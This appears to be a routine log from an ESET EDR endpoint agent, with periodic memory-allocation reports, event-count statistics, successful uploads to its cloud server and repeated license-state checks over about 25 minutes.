2026-03-04 04:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1715 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 350 KB; rules::ProcessConditionsCache: 226 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66312 KB;
2026-03-04 04:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2075 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 209 KB; BatchSerializer::EventsQueueTag: 138 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66881 KB;
2026-03-04 04:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2466 KB; BaseEvent: 715 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 256 KB; BatchSerializer::EventsQueueTag: 187 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67543 KB;
2026-03-04 04:46:07 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:41:57, To:, 2026-03-04 04:46:06, Duration (s):, 249, Events Per Second:, 16.469, Events:, 4117, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 4, Livegrid:, 4, OriginUrl:, 0, Alarms:, 717, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457908
2026-03-04 04:46:09 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s797ms.
2026-03-04 04:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1581 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 258 KB; BaseEvent: 151 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 39 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65942 KB;
2026-03-04 04:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1944 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; TcpIpConnectionsManager: 514 KB; BaseEvent: 331 KB; rules::ProcessConditionsCache: 252 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 86 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66527 KB;
2026-03-04 04:48:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:48:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:48:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:48:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2305 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 507 KB; rules::ProcessConditionsCache: 241 KB; BatchSerializer::EventsQueueTag: 133 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67104 KB;
2026-03-04 04:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2667 KB; BaseEvent: 686 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 225 KB; BatchSerializer::EventsQueueTag: 179 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67677 KB;
2026-03-04 04:50:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:46:06, To:, 2026-03-04 04:50:14, Duration (s):, 248, Events Per Second:, 16.597, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3389, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 729, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457227
2026-03-04 04:50:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s372ms.
2026-03-04 04:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1534 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; TcpIpConnectionsManager: 519 KB; rules::ProcessConditionsCache: 219 KB; BaseEvent: 118 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65823 KB;
2026-03-04 04:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1894 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 295 KB; rules::ProcessConditionsCache: 205 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 77 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66391 KB;
2026-03-04 04:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2258 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; BaseEvent: 475 KB; rules::ProcessConditionsCache: 195 KB; BatchSerializer::EventsQueueTag: 123 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66984 KB;
2026-03-04 04:53:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:53:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:53:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:53:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2621 KB; BaseEvent: 654 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 189 KB; BatchSerializer::EventsQueueTag: 170 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67566 KB;
2026-03-04 04:54:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:50:13, To:, 2026-03-04 04:54:25, Duration (s):, 252, Events Per Second:, 16.250, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 730, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455880
2026-03-04 04:54:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s397ms.
2026-03-04 04:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1458 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 524 KB; rules::ProcessConditionsCache: 177 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BaseEvent: 88 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65677 KB;
2026-03-04 04:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1822 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; TcpIpConnectionsManager: 512 KB; BaseEvent: 269 KB; rules::ProcessConditionsCache: 172 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 69 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66244 KB;
2026-03-04 04:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2185 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 447 KB; rules::ProcessConditionsCache: 163 KB; BatchSerializer::EventsQueueTag: 115 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66831 KB;
2026-03-04 04:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2593 KB; BaseEvent: 635 KB; ModuleMetadata: 579 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; rules::ProcessConditionsCache: 264 KB; BatchSerializer::EventsQueueTag: 166 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 20 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67635 KB;
2026-03-04 04:58:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:58:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:58:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:58:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:58:30 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:54:25, To:, 2026-03-04 04:58:30, Duration (s):, 245, Events Per Second:, 16.804, Events:, 4120, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3403, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 716, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458130
2026-03-04 04:58:31 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s435ms.
2026-03-04 04:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1458 KB; ModuleMetadata: 579 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; rules::ProcessConditionsCache: 223 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BaseEvent: 77 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 20 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65751 KB;
2026-03-04 04:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1819 KB; ModuleMetadata: 579 KB; TcpIpConnectionsManager: 578 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 558 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 251 KB; rules::ProcessConditionsCache: 206 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 66 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66361 KB;
2026-03-04 05:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2192 KB; ModuleMetadata: 579 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 559 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 433 KB; rules::ProcessConditionsCache: 209 KB; BatchSerializer::EventsQueueTag: 114 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66947 KB;
2026-03-04 05:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2551 KB; BaseEvent: 610 KB; ModuleMetadata: 579 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 561 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 194 KB; BatchSerializer::EventsQueueTag: 161 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67482 KB;
2026-03-04 05:02:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:58:29, To:, 2026-03-04 05:02:37, Duration (s):, 248, Events Per Second:, 16.504, Events:, 4109, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 717, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457974
2026-03-04 05:02:41 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s902ms.
2026-03-04 05:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1396 KB; ModuleMetadata: 579 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 561 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 188 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BaseEvent: 49 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65609 KB;
2026-03-04 05:03:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:03:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:03:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:03:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1758 KB; ModuleMetadata: 579 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 530 KB; BaseEvent: 227 KB; rules::ProcessConditionsCache: 175 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 58 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66191 KB;
2026-03-04 05:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2116 KB; ModuleMetadata: 579 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 559 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 403 KB; rules::ProcessConditionsCache: 157 KB; ModuleInfoCache: 108 KB; BatchSerializer::EventsQueueTag: 104 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66741 KB;
2026-03-04 05:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2482 KB; BaseEvent: 582 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; TcpIpConnectionsManager: 517 KB; BatchSerializer::EventsQueueTag: 151 KB; rules::ProcessConditionsCache: 150 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67311 KB;
2026-03-04 05:06:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:02:37, To:, 2026-03-04 05:06:50, Duration (s):, 253, Events Per Second:, 16.260, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 729, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457656
2026-03-04 05:06:51 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s391ms.
2026-03-04 05:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1289 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 132 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65378 KB;
2026-03-04 05:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1652 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 547 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 191 KB; rules::ProcessConditionsCache: 123 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 49 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65962 KB;
2026-03-04 05:08:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
